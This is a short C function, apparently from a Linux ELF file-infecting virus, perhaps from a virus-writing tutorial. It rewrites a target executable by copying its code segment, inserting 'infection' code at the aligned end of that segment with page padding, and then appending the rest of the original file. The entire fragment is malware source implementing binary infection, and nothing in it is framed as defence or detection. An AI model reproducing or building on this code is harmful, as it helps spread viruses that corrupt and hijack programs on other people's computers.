bool target_copy_and_infect(Target* t, size_t* code_size)
{
  TRACE_DEBUG(-1, "target_copy_and_infect\n");

  /* first part of original target */
  CHECK_WRITE(t->image.b, t->end_of_cs);

  TRACE_DEBUG(-1, "end_of_cs=%08x aligned_end_of_cs=%08x\n",
    t->end_of_cs, t->aligned_end_of_cs);

  CHECK_LSEEK(t->aligned_end_of_cs, SEEK_SET);
  if (!target_write_infection(t, code_size))
    return false;
  CHECK_LSEEK(t->end_of_cs + TEVWH_ELF_PAGE_SIZE, SEEK_SET);

  /* rest of original target */
  CHECK_WRITE(t->image.b + t->end_of_cs, t->filesize - t->end_of_cs);
  return true;
}
